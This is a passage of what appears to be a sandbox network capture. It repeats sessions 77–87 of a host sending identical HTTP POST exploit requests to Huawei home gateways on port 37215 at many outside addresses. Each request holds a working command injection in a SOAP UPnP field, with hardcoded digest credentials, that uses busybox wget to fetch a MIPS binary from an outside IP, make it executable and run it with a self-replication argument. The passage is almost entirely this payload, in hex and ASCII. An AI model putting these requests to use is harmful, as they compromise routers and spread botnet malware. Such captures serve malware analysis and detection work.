2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.14	35696	157.71.253.214	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.412914038 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.14	45842	41.117.226.58	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.412914038 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.14	35314	157.75.252.43	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.412914038 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.14	50604	199.150.19.53	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.412914038 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.14	34686	113.163.100.190	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.412914038 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.14	59068	41.173.192.227	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.412965059 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.14	49258	117.157.75.129	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.412965059 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.14	59774	41.79.186.119	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.412965059 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.14	43488	41.226.92.193	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.412965059 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.14	58610	197.8.234.46	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.412965059 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.14	54236	197.164.125.148	37215

Timestamp	Bytes transferred	Direction	Data
